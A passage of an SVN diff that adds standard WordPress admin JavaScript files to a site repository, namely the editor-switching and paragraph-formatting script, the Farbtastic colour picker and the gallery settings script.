function(h,g){a("option[value="+f+"]").attr("selected","selected");a("form#comments-form")[0].submit()}};a.table_hotkeys(a("table.widefat"),["a","u","s","d","r","q",["e",b],["shift+a",d("approve")],["shift+s",d("markspam")],["shift+d",d("delete")],["shift+x",c],["shift+u",d("unapprove")]],{highlight_first:adminCommentsL10n.hotkeys_highlight_first,highlight_last:adminCommentsL10n.hotkeys_highlight_last,prev_page_link_cb:e("prev"),next_page_link_cb:e("next")})}})})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/editor.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/editor.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/editor.dev.js	(revision 44)
@@ -0,0 +1,179 @@
+
+jQuery(document).ready(function($){
+	var h = wpCookies.getHash('TinyMCE_content_size');
+
+	if ( getUserSetting( 'editor' ) == 'html' ) {
+		if ( h )
+			$('#content').css('height', h.ch - 15 + 'px');
+	} else {
+		$('#content').css('color', 'white');
+		$('#quicktags').hide();
+	}
+});
+
+var switchEditors = {
+
+	mode : '',
+
+	I : function(e) {
+		return document.getElementById(e);
+	},
+
+	edInit : function() {
+	},
+
+	saveCallback : function(el, content, body) {
+
+		if ( tinyMCE.activeEditor.isHidden() )
+			content = this.I(el).value;
+		else
+			content = this.pre_wpautop(content);
+
+		return content;
+	},
+
+	pre_wpautop : function(content) {
+		var blocklist1, blocklist2;
+
+		// Protect pre|script tags
+		content = content.replace(/<(pre|script)[^>]*>[\s\S]+?<\/\1>/g, function(a) {
+			a = a.replace(/<br ?\/?>[\r\n]*/g, '<wp_temp>');
+			return a.replace(/<\/?p( [^>]*)?>[\r\n]*/g, '<wp_temp>');
+		});
+
+		// Pretty it up for the source editor
+		blocklist1 = 'blockquote|ul|ol|li|table|thead|tbody|tr|th|td|div|h[1-6]|p';
+		content = content.replace(new RegExp('\\s*</('+blocklist1+')>\\s*', 'mg'), '</$1>\n');
+		content = content.replace(new RegExp('\\s*<(('+blocklist1+')[^>]*)>', 'mg'), '\n<$1>');
+
+		// Mark </p> if it has any attributes.
+		content = content.replace(new RegExp('(<p [^>]+>.*?)</p>', 'mg'), '$1</p#>');
+
+		// Sepatate <div> containing <p>
+		content = content.replace(new RegExp('<div([^>]*)>\\s*<p>', 'mgi'), '<div$1>\n\n');
+
+		// Remove <p> and <br />
+		content = content.replace(new RegExp('\\s*<p>', 'mgi'), '');
+		content = content.replace(new RegExp('\\s*</p>\\s*', 'mgi'), '\n\n');
+		content = content.replace(new RegExp('\\n\\s*\\n', 'mgi'), '\n\n');
+		content = content.replace(new RegExp('\\s*<br ?/?>\\s*', 'gi'), '\n');
+
+		// Fix some block element newline issues
+		content = content.replace(new RegExp('\\s*<div', 'mg'), '\n<div');
+		content = content.replace(new RegExp('</div>\\s*', 'mg'), '</div>\n');
+		content = content.replace(new RegExp('\\s*\\[caption([^\\[]+)\\[/caption\\]\\s*', 'gi'), '\n\n[caption$1[/caption]\n\n');
+		content = content.replace(new RegExp('caption\\]\\n\\n+\\[caption', 'g'), 'caption]\n\n[caption');
+
+		blocklist2 = 'blockquote|ul|ol|li|table|thead|tr|th|td|h[1-6]|pre';
+		content = content.replace(new RegExp('\\s*<(('+blocklist2+') ?[^>]*)\\s*>', 'mg'), '\n<$1>');
+		content = content.replace(new RegExp('\\s*</('+blocklist2+')>\\s*', 'mg'), '</$1>\n');
+		content = content.replace(new RegExp('<li([^>]*)>', 'g'), '\t<li$1>');
+
+		if ( content.indexOf('<object') != -1 ) {
+			content = content.replace(/<object[\s\S]+?<\/object>/g, function(a){
+				return a.replace(/[\r\n]+/g, '');
+			});
+		}
+
+		// Unmark special paragraph closing tags
+		content = content.replace(new RegExp('</p#>', 'g'), '</p>\n');
+		content = content.replace(new RegExp('\\s*(<p [^>]+>.*</p>)', 'mg'), '\n$1');
+
+		// Trim whitespace
+		content = content.replace(new RegExp('^\\s*', ''), '');
+		content = content.replace(new RegExp('[\\s\\u00a0]*$', ''), '');
+
+		// put back the line breaks in pre|script
+		content = content.replace(/<wp_temp>/g, '\n');
+
+		// Hope.
+		return content;
+	},
+
+	go : function(id, mode) {
+		id = id || 'content';
+		mode = mode || this.mode || '';
+
+		var ed, qt = this.I('quicktags'), H = this.I('edButtonHTML'), P = this.I('edButtonPreview'), ta = this.I(id);
+
+		try { ed = tinyMCE.get(id); }
+		catch(e) { ed = false; }
+
+		if ( 'tinymce' == mode ) {
+			if ( ed && ! ed.isHidden() )
+				return false;
+
+			setUserSetting( 'editor', 'tinymce' );
+			this.mode = 'html';
+
+			P.className = 'active';
+			H.className = '';
+			edCloseAllTags(); // :-(
+			qt.style.display = 'none';
+
+			ta.value = this.wpautop(ta.value);
+
+			if ( ed ) {
+				ed.show();
+			} else {
+				try{tinyMCE.execCommand("mceAddControl", false, id);}
+				catch(e){}
+			}
+		} else {
+			setUserSetting( 'editor', 'html' );
+			ta.style.color = '#000';
+			this.mode = 'tinymce';
+			H.className = 'active';
+			P.className = '';
+
+			if ( ed && !ed.isHidden() ) {
+				ta.style.height = ed.getContentAreaContainer().offsetHeight + 24 + 'px';
+				ed.hide();
+			}
+
+			qt.style.display = 'block';
+		}
+		return false;
+	},
+
+	wpautop : function(pee) {
+		var blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|select|form|blockquote|address|math|p|h[1-6]';
+
+		if ( pee.indexOf('<object') != -1 ) {
+			pee = pee.replace(/<object[\s\S]+?<\/object>/g, function(a){
+				return a.replace(/[\r\n]+/g, '');
+			});
+		}
+
+		pee = pee.replace(/<[^<>]+>/g, function(a){
+			return a.replace(/[\r\n]+/g, ' ');
+		});
+
+		pee = pee + "\n\n";
+		pee = pee.replace(new RegExp('<br />\\s*<br />', 'gi'), "\n\n");
+		pee = pee.replace(new RegExp('(<(?:'+blocklist+')[^>]*>)', 'gi'), "\n$1");
+		pee = pee.replace(new RegExp('(</(?:'+blocklist+')>)', 'gi'), "$1\n\n");
+		pee = pee.replace(new RegExp("\\r\\n|\\r", 'g'), "\n");
+		pee = pee.replace(new RegExp("\\n\\s*\\n+", 'g'), "\n\n");
+		pee = pee.replace(new RegExp('([\\s\\S]+?)\\n\\n', 'mg'), "<p>$1</p>\n");
+		pee = pee.replace(new RegExp('<p>\\s*?</p>', 'gi'), '');
+		pee = pee.replace(new RegExp('<p>\\s*(</?(?:'+blocklist+')[^>]*>)\\s*</p>', 'gi'), "$1");
+		pee = pee.replace(new RegExp("<p>(<li.+?)</p>", 'gi'), "$1");
+		pee = pee.replace(new RegExp('<p>\\s*<blockquote([^>]*)>', 'gi'), "<blockquote$1><p>");
+		pee = pee.replace(new RegExp('</blockquote>\\s*</p>', 'gi'), '</p></blockquote>');
+		pee = pee.replace(new RegExp('<p>\\s*(</?(?:'+blocklist+')[^>]*>)', 'gi'), "$1");
+		pee = pee.replace(new RegExp('(</?(?:'+blocklist+')[^>]*>)\\s*</p>', 'gi'), "$1");
+		pee = pee.replace(new RegExp('\\s*\\n', 'gi'), "<br />\n");
+		pee = pee.replace(new RegExp('(</?(?:'+blocklist+')[^>]*>)\\s*<br />', 'gi'), "$1");
+		pee = pee.replace(new RegExp('<br />(\\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)', 'gi'), '$1');
+		pee = pee.replace(new RegExp('(?:<p>|<br ?/?>)*\\s*\\[caption([^\\[]+)\\[/caption\\]\\s*(?:</p>|<br ?/?>)*', 'gi'), '[caption$1[/caption]');
+
+		// Fix the pre|script tags
+		pee = pee.replace(/<(pre|script)[^>]*>[\s\S]+?<\/\1>/g, function(a) {
+			a = a.replace(/<br ?\/?>[\r\n]*/g, '\n');
+			return a.replace(/<\/?p( [^>]*)?>[\r\n]*/g, '\n');
+		});
+
+		return pee;
+	}
+};
Index: /trunk/www.guidonia.net/wp/wp-admin/js/editor.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/editor.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/editor.js	(revision 44)
@@ -0,0 +1,1 @@
+jQuery(document).ready(function(b){var a=wpCookies.getHash("TinyMCE_content_size");if(getUserSetting("editor")=="html"){if(a){b("#content").css("height",a.ch-15+"px")}}else{b("#content").css("color","white");b("#quicktags").hide()}});var switchEditors={mode:"",I:function(a){return document.getElementById(a)},edInit:function(){},saveCallback:function(b,c,a){if(tinyMCE.activeEditor.isHidden()){c=this.I(b).value}else{c=this.pre_wpautop(c)}return c},pre_wpautop:function(b){var c,a;b=b.replace(/<(pre|script)[^>]*>[\s\S]+?<\/\1>/g,function(d){d=d.replace(/<br ?\/?>[\r\n]*/g,"<wp_temp>");return d.replace(/<\/?p( [^>]*)?>[\r\n]*/g,"<wp_temp>")});c="blockquote|ul|ol|li|table|thead|tbody|tr|th|td|div|h[1-6]|p";b=b.replace(new RegExp("\\s*</("+c+")>\\s*","mg"),"</$1>\n");b=b.replace(new RegExp("\\s*<(("+c+")[^>]*)>","mg"),"\n<$1>");b=b.replace(new RegExp("(<p [^>]+>.*?)</p>","mg"),"$1</p#>");b=b.replace(new RegExp("<div([^>]*)>\\s*<p>","mgi"),"<div$1>\n\n");b=b.replace(new RegExp("\\s*<p>","mgi"),"");b=b.replace(new RegExp("\\s*</p>\\s*","mgi"),"\n\n");b=b.replace(new RegExp("\\n\\s*\\n","mgi"),"\n\n");b=b.replace(new RegExp("\\s*<br ?/?>\\s*","gi"),"\n");b=b.replace(new RegExp("\\s*<div","mg"),"\n<div");b=b.replace(new RegExp("</div>\\s*","mg"),"</div>\n");b=b.replace(new RegExp("\\s*\\[caption([^\\[]+)\\[/caption\\]\\s*","gi"),"\n\n[caption$1[/caption]\n\n");b=b.replace(new RegExp("caption\\]\\n\\n+\\[caption","g"),"caption]\n\n[caption");a="blockquote|ul|ol|li|table|thead|tr|th|td|h[1-6]|pre";b=b.replace(new RegExp("\\s*<(("+a+") ?[^>]*)\\s*>","mg"),"\n<$1>");b=b.replace(new RegExp("\\s*</("+a+")>\\s*","mg"),"</$1>\n");b=b.replace(new RegExp("<li([^>]*)>","g"),"\t<li$1>");if(b.indexOf("<object")!=-1){b=b.replace(/<object[\s\S]+?<\/object>/g,function(d){return d.replace(/[\r\n]+/g,"")})}b=b.replace(new RegExp("</p#>","g"),"</p>\n");b=b.replace(new RegExp("\\s*(<p [^>]+>.*</p>)","mg"),"\n$1");b=b.replace(new RegExp("^\\s*",""),"");b=b.replace(new RegExp("[\\s\\u00a0]*$",""),"");b=b.replace(/<wp_temp>/g,"\n");return b},go:function(i,g){i=i||"content";g=g||this.mode||"";var b,h=this.I("quicktags"),c=this.I("edButtonHTML"),d=this.I("edButtonPreview"),a=this.I(i);try{b=tinyMCE.get(i)}catch(f){b=false}if("tinymce"==g){if(b&&!b.isHidden()){return false}setUserSetting("editor","tinymce");this.mode="html";d.className="active";c.className="";edCloseAllTags();h.style.display="none";a.value=this.wpautop(a.value);if(b){b.show()}else{try{tinyMCE.execCommand("mceAddControl",false,i)}catch(f){}}}else{setUserSetting("editor","html");a.style.color="#000";this.mode="tinymce";c.className="active";d.className="";if(b&&!b.isHidden()){a.style.height=b.getContentAreaContainer().offsetHeight+24+"px";b.hide()}h.style.display="block"}return false},wpautop:function(a){var b="table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|select|form|blockquote|address|math|p|h[1-6]";if(a.indexOf("<object")!=-1){a=a.replace(/<object[\s\S]+?<\/object>/g,function(c){return c.replace(/[\r\n]+/g,"")})}a=a.replace(/<[^<>]+>/g,function(c){return c.replace(/[\r\n]+/g," ")});a=a+"\n\n";a=a.replace(new RegExp("<br />\\s*<br />","gi"),"\n\n");a=a.replace(new RegExp("(<(?:"+b+")[^>]*>)","gi"),"\n$1");a=a.replace(new RegExp("(</(?:"+b+")>)","gi"),"$1\n\n");a=a.replace(new RegExp("\\r\\n|\\r","g"),"\n");a=a.replace(new RegExp("\\n\\s*\\n+","g"),"\n\n");a=a.replace(new RegExp("([\\s\\S]+?)\\n\\n","mg"),"<p>$1</p>\n");a=a.replace(new RegExp("<p>\\s*?</p>","gi"),"");a=a.replace(new RegExp("<p>\\s*(</?(?:"+b+")[^>]*>)\\s*</p>","gi"),"$1");a=a.replace(new RegExp("<p>(<li.+?)</p>","gi"),"$1");a=a.replace(new RegExp("<p>\\s*<blockquote([^>]*)>","gi"),"<blockquote$1><p>");a=a.replace(new RegExp("</blockquote>\\s*</p>","gi"),"</p></blockquote>");a=a.replace(new RegExp("<p>\\s*(</?(?:"+b+")[^>]*>)","gi"),"$1");a=a.replace(new RegExp("(</?(?:"+b+")[^>]*>)\\s*</p>","gi"),"$1");a=a.replace(new RegExp("\\s*\\n","gi"),"<br />\n");a=a.replace(new RegExp("(</?(?:"+b+")[^>]*>)\\s*<br />","gi"),"$1");a=a.replace(new RegExp("<br />(\\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)","gi"),"$1");a=a.replace(new RegExp("(?:<p>|<br ?/?>)*\\s*\\[caption([^\\[]+)\\[/caption\\]\\s*(?:</p>|<br ?/?>)*","gi"),"[caption$1[/caption]");a=a.replace(/<(pre|script)[^>]*>[\s\S]+?<\/\1>/g,function(c){c=c.replace(/<br ?\/?>[\r\n]*/g,"\n");return c.replace(/<\/?p( [^>]*)?>[\r\n]*/g,"\n")});return a}};
Index: /trunk/www.guidonia.net/wp/wp-admin/js/farbtastic.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/farbtastic.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/farbtastic.js	(revision 44)
@@ -0,0 +1,333 @@
+// $Id: farbtastic.js,v 1.2 2007/01/08 22:53:01 unconed Exp $
+// Farbtastic 1.2
+
+var farbtastic_click = false;
+
+jQuery.fn.farbtastic = function (callback) {
+  jQuery.farbtastic(this, callback);
+  return this;
+};
+
+jQuery.farbtastic = function (container, callback) {
+  var container = jQuery(container).get(0);
+  return container.farbtastic || (container.farbtastic = new jQuery._farbtastic(container, callback));
+}
+
+jQuery._farbtastic = function (container, callback) {
+  // Store farbtastic object
+  var fb = this;
+
+  // Insert markup
+  jQuery(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>');
+  var e = jQuery('.farbtastic', container);
+  fb.wheel = jQuery('.wheel', container).get(0);
+  // Dimensions
+  fb.radius = 84;
+  fb.square = 100;
+  fb.width = 194;
+
+  // Fix background PNGs in IE6
+  if (navigator.appVersion.match(/MSIE [0-6]\./)) {
+    jQuery('*', e).each(function () {
+      if (this.currentStyle.backgroundImage != 'none') {
+        var image = this.currentStyle.backgroundImage;
+        image = this.currentStyle.backgroundImage.substring(5, image.length - 2);
+        jQuery(this).css({
+          'backgroundImage': 'none',
+          'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='" + image + "')"
+        });
+      }
+    });
+  }
+
+  /**
+   * Link to the given element(s) or callback.
+   */
+  fb.linkTo = function (callback) {
+    // Unbind previous nodes
+    if (typeof fb.callback == 'object') {
+      jQuery(fb.callback).unbind('keyup', fb.updateValue);
+    }
+
+    // Reset color
+    fb.color = null;
+
+    // Bind callback or elements
+    if (typeof callback == 'function') {
+      fb.callback = callback;
+    }
+    else if (typeof callback == 'object' || typeof callback == 'string') {
+      fb.callback = jQuery(callback);
+      fb.callback.bind('keyup', fb.updateValue);
+      if (fb.callback.get(0).value) {
+        fb.setColor(fb.callback.get(0).value);
+      }
+    }
+    return this;
+  }
+  fb.updateValue = function (event) {
+    if (this.value && this.value != fb.color) {
+      fb.setColor(this.value);
+    }
+  }
+
+  /**
+   * Change color with HTML syntax #123456
+   */
+  fb.setColor = function (color) {
+    var unpack = fb.unpack(color);
+    if (fb.color != color && unpack) {
+      fb.color = color;
+      fb.rgb = unpack;
+      fb.hsl = fb.RGBToHSL(fb.rgb);
+      fb.updateDisplay();
+    }
+    return this;
+  }
+
+  /**
+   * Change color with HSL triplet [0..1, 0..1, 0..1]
+   */
+  fb.setHSL = function (hsl) {
+    fb.hsl = hsl;
+    fb.rgb = fb.HSLToRGB(hsl);
+    fb.color = fb.pack(fb.rgb);
+    fb.updateDisplay();
+    return this;
+  }
+
+  /////////////////////////////////////////////////////
+
+  /**
+   * Retrieve the coordinates of the given event relative to the center
+   * of the widget.
+   */
+  fb.widgetCoords = function (event) {
+    var x, y;
+    var el = event.target || event.srcElement;
+    var reference = fb.wheel;
+
+    if (typeof event.offsetX != 'undefined') {
+      // Use offset coordinates and find common offsetParent
+      var pos = { x: event.offsetX, y: event.offsetY };
+
+      // Send the coordinates upwards through the offsetParent chain.
+      var e = el;
+      while (e) {
+        e.mouseX = pos.x;
+        e.mouseY = pos.y;
+        pos.x += e.offsetLeft;
+        pos.y += e.offsetTop;
+        e = e.offsetParent;
+      }
+
+      // Look for the coordinates starting from the wheel widget.
+      var e = reference;
+      var offset = { x: 0, y: 0 }
+      while (e) {
+        if (typeof e.mouseX != 'undefined') {
+          x = e.mouseX - offset.x;
+          y = e.mouseY - offset.y;
+          break;
+        }
+        offset.x += e.offsetLeft;
+        offset.y += e.offsetTop;
+        e = e.offsetParent;
+      }
+
+      // Reset stored coordinates
+      e = el;
+      while (e) {
+        e.mouseX = undefined;
+        e.mouseY = undefined;
+        e = e.offsetParent;
+      }
+    }
+    else {
+      // Use absolute coordinates
+      var pos = fb.absolutePosition(reference);
+      x = (event.pageX || 0*(event.clientX + jQuery('html').get(0).scrollLeft)) - pos.x;
+      y = (event.pageY || 0*(event.clientY + jQuery('html').get(0).scrollTop)) - pos.y;
+    }
+    // Subtract distance to middle
+    return { x: x - fb.width / 2, y: y - fb.width / 2 };
+  }
+
+  /**
+   * Mousedown handler
+   */
+  fb.mousedown = function (event) {
+	farbtastic_click = true;
+    // Capture mouse
+    if (!document.dragging) {
+      jQuery(document).bind('mousemove', fb.mousemove).bind('mouseup', fb.mouseup);
+      document.dragging = true;
+    }
+
+    // Check which area is being dragged
+    var pos = fb.widgetCoords(event);
+    fb.circleDrag = Math.max(Math.abs(pos.x), Math.abs(pos.y)) * 2 > fb.square;
+
+    // Process
+    fb.mousemove(event);
+    return false;
+  }
+
+  /**
+   * Mousemove handler
+   */
+  fb.mousemove = function (event) {
+    // Get coordinates relative to color picker center
+    var pos = fb.widgetCoords(event);
+
+    // Set new HSL parameters
+    if (fb.circleDrag) {
+      var hue = Math.atan2(pos.x, -pos.y) / 6.28;
+      if (hue < 0) hue += 1;
+      fb.setHSL([hue, fb.hsl[1], fb.hsl[2]]);
+    }
+    else {
+      var sat = Math.max(0, Math.min(1, -(pos.x / fb.square) + .5));
+      var lum = Math.max(0, Math.min(1, -(pos.y / fb.square) + .5));
+      fb.setHSL([fb.hsl[0], sat, lum]);
+    }
+    return false;
+  }
+
+  /**
+   * Mouseup handler
+   */
+  fb.mouseup = function () {
+    // Uncapture mouse
+	farbtastic_click = false;
+    jQuery(document).unbind('mousemove', fb.mousemove);
+    jQuery(document).unbind('mouseup', fb.mouseup);
+    document.dragging = false;
+  }
+
+  /**
+   * Update the markers and styles
+   */
+  fb.updateDisplay = function () {
+    // Markers
+    var angle = fb.hsl[0] * 6.28;
+    jQuery('.h-marker', e).css({
+      left: Math.round(Math.sin(angle) * fb.radius + fb.width / 2) + 'px',
+      top: Math.round(-Math.cos(angle) * fb.radius + fb.width / 2) + 'px'
+    });
+
+    jQuery('.sl-marker', e).css({
+      left: Math.round(fb.square * (.5 - fb.hsl[1]) + fb.width / 2) + 'px',
+      top: Math.round(fb.square * (.5 - fb.hsl[2]) + fb.width / 2) + 'px'
+    });
+
+    // Saturation/Luminance gradient
+    jQuery('.color', e).css('backgroundColor', fb.pack(fb.HSLToRGB([fb.hsl[0], 1, 0.5])));
+
+    // Linked elements or callback
+    if (typeof fb.callback == 'object') {
+      // Set background/foreground color
+      jQuery(fb.callback).css({
+        backgroundColor: fb.color,
+        color: fb.hsl[2] > 0.5 ? '#000' : '#fff'
+      });
+
+      // Change linked value
+      jQuery(fb.callback).each(function() {
+        if (this.value && this.value != fb.color) {
+          this.value = fb.color;
+        }
+      });
+    }
+    else if (typeof fb.callback == 'function') {
+      fb.callback.call(fb, fb.color);
+    }
+  }
+
+  /**
+   * Get absolute position of element
+   */
+  fb.absolutePosition = function (el) {
+    var r = { x: el.offsetLeft, y: el.offsetTop };
+    // Resolve relative to offsetParent
+    if (el.offsetParent) {
+      var tmp = fb.absolutePosition(el.offsetParent);
+      r.x += tmp.x;
+      r.y += tmp.y;
+    }
+    return r;
+  };
+
+  /* Various color utility functions */
+  fb.pack = function (rgb) {
+    var r = Math.round(rgb[0] * 255);
+    var g = Math.round(rgb[1] * 255);
+    var b = Math.round(rgb[2] * 255);
+    return '#' + (r < 16 ? '0' : '') + r.toString(16) +
+           (g < 16 ? '0' : '') + g.toString(16) +
+           (b < 16 ? '0' : '') + b.toString(16);
+  }
+
+  fb.unpack = function (color) {
+    if (color.length == 7) {
+      return [parseInt('0x' + color.substring(1, 3)) / 255,
+        parseInt('0x' + color.substring(3, 5)) / 255,
+        parseInt('0x' + color.substring(5, 7)) / 255];
+    }
+    else if (color.length == 4) {
+      return [parseInt('0x' + color.substring(1, 2)) / 15,
+        parseInt('0x' + color.substring(2, 3)) / 15,
+        parseInt('0x' + color.substring(3, 4)) / 15];
+    }
+  }
+
+  fb.HSLToRGB = function (hsl) {
+    var m1, m2, r, g, b;
+    var h = hsl[0], s = hsl[1], l = hsl[2];
+    m2 = (l <= 0.5) ? l * (s + 1) : l + s - l*s;
+    m1 = l * 2 - m2;
+    return [this.hueToRGB(m1, m2, h+0.33333),
+        this.hueToRGB(m1, m2, h),
+        this.hueToRGB(m1, m2, h-0.33333)];
+  }
+
+  fb.hueToRGB = function (m1, m2, h) {
+    h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h);
+    if (h * 6 < 1) return m1 + (m2 - m1) * h * 6;
+    if (h * 2 < 1) return m2;
+    if (h * 3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * 6;
+    return m1;
+  }
+
+  fb.RGBToHSL = function (rgb) {
+    var min, max, delta, h, s, l;
+    var r = rgb[0], g = rgb[1], b = rgb[2];
+    min = Math.min(r, Math.min(g, b));
+    max = Math.max(r, Math.max(g, b));
+    delta = max - min;
+    l = (min + max) / 2;
+    s = 0;
+    if (l > 0 && l < 1) {
+      s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l));
+    }
+    h = 0;
+    if (delta > 0) {
+      if (max == r && max != g) h += (g - b) / delta;
+      if (max == g && max != b) h += (2 + (b - r) / delta);
+      if (max == b && max != r) h += (4 + (r - g) / delta);
+      h /= 6;
+    }
+    return [h, s, l];
+  }
+
+  // Install mousedown handler (the others are set on the document on-demand)
+  jQuery('*', e).mousedown(fb.mousedown);
+
+    // Init color
+  fb.setColor('#000000');
+
+  // Set linked elements/callback
+  if (callback) {
+    fb.linkTo(callback);
+  }
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/js/gallery.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/gallery.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/gallery.dev.js	(revision 44)
@@ -0,0 +1,204 @@
+jQuery(document).ready(function($) {
+	var gallerySortable, gallerySortableInit, w, desc = false;
+
+	gallerySortableInit = function() {
+		gallerySortable = $('#media-items').sortable( {
+			items: '.media-item',
+			placeholder: 'sorthelper',
+			axis: 'y',
+			distance: 2,
+			stop: function(e, ui) {
+				// When an update has occurred, adjust the order for each item
+				var all = $('#media-items').sortable('toArray'), len = all.length;
+				$.each(all, function(i, id) {
+					var order = desc ? (len - i) : (1 + i);
+					$('#' + id + ' .menu_order input').val(order);
+				});
+			}
+		} );
+	}
+
+	sortIt = function() {
+		var all = $('.menu_order_input'), len = all.length;
+		all.each(function(i){
+			var order = desc ? (len - i) : (1 + i);
+			$(this).val(order);
+		});
+	}
+
+	clearAll = function(c) {
+		c = c || 0;
+		$('.menu_order_input').each(function(){
+			if ( this.value == '0' || c ) this.value = '';
+		});
+	}
+
+	$('#asc').click(function(){desc = false; sortIt(); return false;});
+	$('#desc').click(function(){desc = true; sortIt(); return false;});
+	$('#clear').click(function(){clearAll(1); return false;});
+	$('#showall').click(function(){
+		$('#sort-buttons span a').toggle();
+		$('a.describe-toggle-on').hide();
+		$('a.describe-toggle-off, table.slidetoggle').show();
+		return false;
+	});
+	$('#hideall').click(function(){
+		$('#sort-buttons span a').toggle();
+		$('a.describe-toggle-on').show();
+		$('a.describe-toggle-off, table.slidetoggle').hide();
+		return false;
+	});
+
+	// initialize sortable
+	gallerySortableInit();
+	clearAll();
+
+	if ( $('#media-items>*').length > 1 ) {
+		w = wpgallery.getWin();
+
+		$('#save-all, #gallery-settings').show();
+		if ( typeof w.tinyMCE != 'undefined' && w.tinyMCE.activeEditor && ! w.tinyMCE.activeEditor.isHidden() ) {
+			wpgallery.mcemode = true;
+			wpgallery.init();
+		} else {
+			$('#insert-gallery').show();
+		}
+	}
+});
+
+jQuery(window).unload( function () { tinymce = tinyMCE = wpgallery = null; } ); // Cleanup
+
+/* gallery settings */
+var tinymce = null, tinyMCE, wpgallery;
+
+wpgallery = {
+	mcemode : false,
+	editor : {},
+	dom : {},
+	is_update : false,
+	el : {},
+
+	I : function(e) {
+		return document.getElementById(e);
+	},
+
+	init: function() {
+		var t = this, li, q, i, it, w = t.getWin();
+
+		if ( ! t.mcemode ) return;
+
+		li = ('' + document.location.search).replace(/^\?/, '').split('&');
+		q = {};
+		for (i=0; i<li.length; i++) {
+			it = li[i].split('=');
+			q[unescape(it[0])] = unescape(it[1]);
+		}
+
+		if (q.mce_rdomain)
+			document.domain = q.mce_rdomain;
+
+		// Find window & API
+		tinymce = w.tinymce;
+		tinyMCE = w.tinyMCE;
+		t.editor = tinymce.EditorManager.activeEditor;
+
+		t.setup();
+	},
+
+	getWin : function() {
+		return window.dialogArguments || opener || parent || top;
+	},
+
+	restoreSelection : function() {
+		var t = this;
+
+		if (tinymce.isIE)
+			t.editor.selection.moveToBookmark(t.editor.windowManager.bookmark);
+	},
+
+	setup : function() {
+		var t = this, a, ed = t.editor, g, columns, link, order, orderby;
+		if ( ! t.mcemode ) return;
+
+		t.restoreSelection();
+		t.el = ed.selection.getNode();
+
+		if ( t.el.nodeName != 'IMG' || ! ed.dom.hasClass(t.el, 'wpGallery') ) {
+			if ( (g = ed.dom.select('img.wpGallery')) && g[0] ) {
+				t.el = g[0];
+			} else {
+				if ( getUserSetting('galfile') == '1' ) t.I('linkto-file').checked = "checked";
+				if ( getUserSetting('galdesc') == '1' ) t.I('order-desc').checked = "checked";
+				if ( getUserSetting('galcols') ) t.I('columns').value = getUserSetting('galcols');
+				if ( getUserSetting('galord') ) t.I('orderby').value = getUserSetting('galord');
+				jQuery('#insert-gallery').show();
+				return;
+			}
+		}
+
+		a = ed.dom.getAttrib(t.el, 'title');
+		a = ed.dom.decode(a);
+
+		if ( a ) {
+			jQuery('#update-gallery').show();
+			t.is_update = true;
+
+			columns = a.match(/columns=['"]([0-9]+)['"]/);
+			link = a.match(/link=['"]([^'"]+)['"]/i);
+			order = a.match(/order=['"]([^'"]+)['"]/i);
+			orderby = a.match(/orderby=['"]([^'"]+)['"]/i);
+
+			if ( link && link[1] ) t.I('linkto-file').checked = "checked";
+			if ( order && order[1] ) t.I('order-desc').checked = "checked";
+			if ( columns && columns[1] ) t.I('columns').value = ''+columns[1];
+			if ( orderby && orderby[1] ) t.I('orderby').value = orderby[1];
+		} else {
+			jQuery('#insert-gallery').show();
+		}
+	},
+
+	update : function() {
+		var t = this, ed = t.editor, all = '', s;
+
+		if ( ! t.mcemode || ! t.is_update ) {
+			s = '[gallery'+t.getSettings()+']';
+			t.getWin().send_to_editor(s);
+			return;
+		}
+
+		if (t.el.nodeName != 'IMG') return;
+
+		all = ed.dom.decode(ed.dom.getAttrib(t.el, 'title'));
+		all = all.replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi, '');
+		all += t.getSettings();
+
+		ed.dom.setAttrib(t.el, 'title', all);
+		t.getWin().tb_remove();
+	},
+
+	getSettings : function() {
+		var I = this.I, s = '';
+
+		if ( I('linkto-file').checked ) {
+			s += ' link="file"';
+			setUserSetting('galfile', '1');
+		}
+
+		if ( I('order-desc').checked ) {
+			s += ' order="DESC"';
+			setUserSetting('galdesc', '1');
+		}
+
+		if ( I('columns').value != 3 ) {
+			s += ' columns="'+I('columns').value+'"';
+			setUserSetting('galcols', I('columns').value);
+		}
+
+		if ( I('orderby').value != 'menu_order' ) {
+			s += ' orderby="'+I('orderby').value+'"';
+			setUserSetting('galord', I('orderby').value);
+		}
+
+		return s;
+	}
+};
Index: /trunk/www.guidonia.net/wp/wp-admin/js/gallery.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/gallery.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/gallery.js	(revision 44)
@@ -0,0 +1,1 @@
